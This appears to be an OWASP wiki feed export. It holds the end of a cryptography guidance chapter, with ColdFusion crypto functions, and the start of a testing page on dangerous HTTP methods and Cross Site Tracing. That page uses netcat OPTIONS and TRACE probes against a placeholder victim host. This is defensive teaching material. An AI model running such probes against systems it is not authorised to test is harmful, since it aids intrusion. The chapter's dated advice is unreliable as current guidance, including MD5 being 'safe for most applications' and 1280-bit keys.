&lt;br /&gt;
==Algorithm Selection ==&lt;br /&gt;
&lt;br /&gt;
As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.&lt;br /&gt;
&lt;br /&gt;
Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.&lt;br /&gt;
&lt;br /&gt;
Specific algorithms to avoid:&lt;br /&gt;
&lt;br /&gt;
* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.&lt;br /&gt;
&lt;br /&gt;
* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.&lt;br /&gt;
&lt;br /&gt;
* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.&lt;br /&gt;
&lt;br /&gt;
* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.&lt;br /&gt;
&lt;br /&gt;
Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations. &lt;br /&gt;
&lt;br /&gt;
Specific applications, such as banking transaction systems, may have specific requirements for algorithms and key sizes.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:&lt;br /&gt;
&lt;br /&gt;
'''Symmetric:'''&lt;br /&gt;
&lt;br /&gt;
* Key sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;br /&gt;
&lt;br /&gt;
* Consider 168 or 256 bits for secure systems such as large financial transactions&lt;br /&gt;
&lt;br /&gt;
'''Asymmetric:'''&lt;br /&gt;
&lt;br /&gt;
The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:&lt;br /&gt;
&lt;br /&gt;
* Key sizes of 1280 bits are sufficient for most personal applications&lt;br /&gt;
&lt;br /&gt;
* 1536 bits should be acceptable today for most secure applications&lt;br /&gt;
&lt;br /&gt;
* 2048 bits should be considered for highly protected applications.&lt;br /&gt;
&lt;br /&gt;
'''Hashes:'''&lt;br /&gt;
&lt;br /&gt;
* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications&lt;br /&gt;
&lt;br /&gt;
* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).&lt;br /&gt;
&lt;br /&gt;
NIST and other standards bodies will provide up to date guidance on suggested key sizes.&lt;br /&gt;
&lt;br /&gt;
'''Design your application to cope with new hashes and algorithms'''&lt;br /&gt;
&lt;br /&gt;
==Key Storage ==&lt;br /&gt;
&lt;br /&gt;
As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.&lt;br /&gt;
&lt;br /&gt;
Any system that has been compromised in any way should have all its cryptographic keys replaced. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption. &lt;br /&gt;
&lt;br /&gt;
Can you export the private key or certificate from the store? &lt;br /&gt;
&lt;br /&gt;
* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?&lt;br /&gt;
&lt;br /&gt;
* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.&lt;br /&gt;
&lt;br /&gt;
* Private keys should be marked as not exportable when generating the certificate signing request. &lt;br /&gt;
&lt;br /&gt;
* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).&lt;br /&gt;
&lt;br /&gt;
* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.&lt;br /&gt;
&lt;br /&gt;
* Applications should log any changes to keys. &lt;br /&gt;
&lt;br /&gt;
* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.&lt;br /&gt;
&lt;br /&gt;
* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.&lt;br /&gt;
&lt;br /&gt;
* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.&lt;br /&gt;
&lt;br /&gt;
* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.&lt;br /&gt;
&lt;br /&gt;
Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.&lt;br /&gt;
&lt;br /&gt;
==Insecure transmission of secrets ==&lt;br /&gt;
&lt;br /&gt;
In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network. &lt;br /&gt;
&lt;br /&gt;
In practical terms, this means we should aim to encrypt as close to the source of the data as possible.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:&lt;br /&gt;
&lt;br /&gt;
* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.&lt;br /&gt;
&lt;br /&gt;
* We must ensure that through all paths of the transmission we apply this level of encryption.&lt;br /&gt;
&lt;br /&gt;
* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected? &lt;br /&gt;
&lt;br /&gt;
* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements. &lt;br /&gt;
&lt;br /&gt;
'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.&lt;br /&gt;
&lt;br /&gt;
An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.&lt;br /&gt;
&lt;br /&gt;
'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.&lt;br /&gt;
&lt;br /&gt;
Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.&lt;br /&gt;
&lt;br /&gt;
'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.&lt;br /&gt;
&lt;br /&gt;
Possible issues at this level are computational and bandwidth overheads on network devices.&lt;br /&gt;
&lt;br /&gt;
==Reversible Authentication Tokens ==&lt;br /&gt;
&lt;br /&gt;
Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.&lt;br /&gt;
&lt;br /&gt;
This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
Any deterministic sequence generator is likely to be vulnerable.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.&lt;br /&gt;
&lt;br /&gt;
It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.&lt;br /&gt;
&lt;br /&gt;
Most operating systems include functions to generate random numbers that can be called from almost any programming language.&lt;br /&gt;
&lt;br /&gt;
'''Windows &amp;amp; .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (&amp;lt;u&amp;gt;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp&amp;lt;/u&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (&amp;lt;u&amp;gt;http://www.openssl.org/&amp;lt;/u&amp;gt;). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.&lt;br /&gt;
&lt;br /&gt;
'''PHP:'''  mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''&lt;br /&gt;
&lt;br /&gt;
'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.&lt;br /&gt;
&lt;br /&gt;
'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''&lt;br /&gt;
&lt;br /&gt;
==Safe UUID generation ==&lt;br /&gt;
&lt;br /&gt;
UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
# Determine the source of your existing UUIDS &lt;br /&gt;
## Did they come from MSDN?&lt;br /&gt;
## Or from an example found on the Internet? &lt;br /&gt;
# Use your favorite search engine to find out&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API&lt;br /&gt;
&lt;br /&gt;
* Generate fresh UUIDs or GUIDs for each new program &lt;br /&gt;
&lt;br /&gt;
==Summary ==&lt;br /&gt;
&lt;br /&gt;
Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:&lt;br /&gt;
&lt;br /&gt;
* Remote access such as IPsec VPN&lt;br /&gt;
&lt;br /&gt;
* Certificate based authentication&lt;br /&gt;
&lt;br /&gt;
* Securing confidential or sensitive information&lt;br /&gt;
&lt;br /&gt;
* Obtaining non-repudiation using digital certificates&lt;br /&gt;
&lt;br /&gt;
* ?Online orders and payments&lt;br /&gt;
&lt;br /&gt;
* Email and messaging security such as S/MIME&lt;br /&gt;
&lt;br /&gt;
A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.&lt;br /&gt;
&lt;br /&gt;
Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions. &lt;br /&gt;
&lt;br /&gt;
Our recommendation is to use proven products, tools, or packages rather than rolling your own.&lt;br /&gt;
&lt;br /&gt;
==Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Wu, H., ''Misuse of stream ciphers in Word and Excel''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://eprint.iacr.org/2005/007.pdf&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption'' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://seclists.org/bugtraq/1999/Dec/208&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram''&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;http://www.schneier.com/crypto-gram-0204.html#3&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Schneier, B., Cryptogram, &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.schneier.com/crypto-gram.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* UUIDs are only unique if you generate them:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Cryptographically Secure Random Numbers on Win32:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Cryptography ==&lt;br /&gt;
&lt;br /&gt;
The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Pseudo-Random Number Generation'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rand''' – Use to generate a pseudo-random number&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	rand([algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	randomize(number [, algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	randrange(number1, number2 [, algorithm])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following values are the allowed algorithm parameters''' ''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: (default) – Invokes java.util.rand&lt;br /&gt;
&lt;br /&gt;
SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.&lt;br /&gt;
&lt;br /&gt;
IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Symmetric Encryption'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	generateSecretKey(algorithm)'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''	hash(string[, algorithm[, encoding]] )'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ColdFusion offers the following default algorithms for these functions''' ''':&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default). &lt;br /&gt;
&lt;br /&gt;
AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)&lt;br /&gt;
&lt;br /&gt;
BLOWFISH: the Blowfish algorithm defined by Bruce Schneier. &lt;br /&gt;
&lt;br /&gt;
DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3. &lt;br /&gt;
&lt;br /&gt;
DESEDE: the &amp;quot;Triple DES&amp;quot; algorithm defined by NIST FIPS-46-3. &lt;br /&gt;
&lt;br /&gt;
PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key &lt;br /&gt;
&lt;br /&gt;
PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant''' ''':&lt;br /&gt;
&lt;br /&gt;
CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default). &lt;br /&gt;
&lt;br /&gt;
MD5: Generates a 128-bit digest.&lt;br /&gt;
&lt;br /&gt;
SHA: Generates a 160-bit digest. (SHA-1)&lt;br /&gt;
&lt;br /&gt;
SHA-256: Generates a 256-bit digest&lt;br /&gt;
&lt;br /&gt;
SHA-384: Generates a 384-bit digest&lt;br /&gt;
&lt;br /&gt;
SHA-512: Generates a 512-bit digest&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Pluggable Encryption'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''&amp;lt;u&amp;gt;http://www.bouncycastle.org/'''&amp;lt;/u&amp;gt;) crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''SSL'''&lt;br /&gt;
&lt;br /&gt;
ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''''Best Practices'''''&lt;br /&gt;
&lt;br /&gt;
*Enable /dev/urandom for higher entropy for random number generation&lt;br /&gt;
&lt;br /&gt;
*Call the randomize function before calling rand() or randRange() to seed the random number generator&lt;br /&gt;
&lt;br /&gt;
*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.&lt;br /&gt;
&lt;br /&gt;
*Use AES or higher for symmetric encryption &lt;br /&gt;
&lt;br /&gt;
*Use SHA-256 or higher for the hash function&lt;br /&gt;
&lt;br /&gt;
*Use a salt (or random string) for password generation with the hash function&lt;br /&gt;
&lt;br /&gt;
*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required&lt;br /&gt;
&lt;br /&gt;
*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;br /&gt;
[[Category:Encryption]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=123672</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=123672"/>
				<updated>2012-02-03T04:46:03Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT:  This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.&lt;br /&gt;
&lt;br /&gt;
== Arbitrary HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:&lt;br /&gt;
&lt;br /&gt;
* Many frameworks and languages treat &amp;quot;HEAD&amp;quot; as a &amp;quot;GET&amp;quot; request, albeit one without any body in the response. If a security constraint was set on &amp;quot;GET&amp;quot; requests such that only &amp;quot;authenticatedUsers&amp;quot; could access GET requests for a particular servlet or resource, it would be bypassed for the &amp;quot;HEAD&amp;quot; version. This allowed unauthorized blind submission of any privileged GET request&lt;br /&gt;
&lt;br /&gt;
* Some frameworks allowed arbitrary HTTP methods such as &amp;quot;JEFF&amp;quot; or &amp;quot;CATS&amp;quot; to be used without limitation. These were treated as if a &amp;quot;GET&amp;quot; method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.&lt;br /&gt;
&lt;br /&gt;
In many cases, code which explicitly checked for a &amp;quot;GET&amp;quot; or &amp;quot;POST&amp;quot; method would be safe. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, &amp;quot;The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
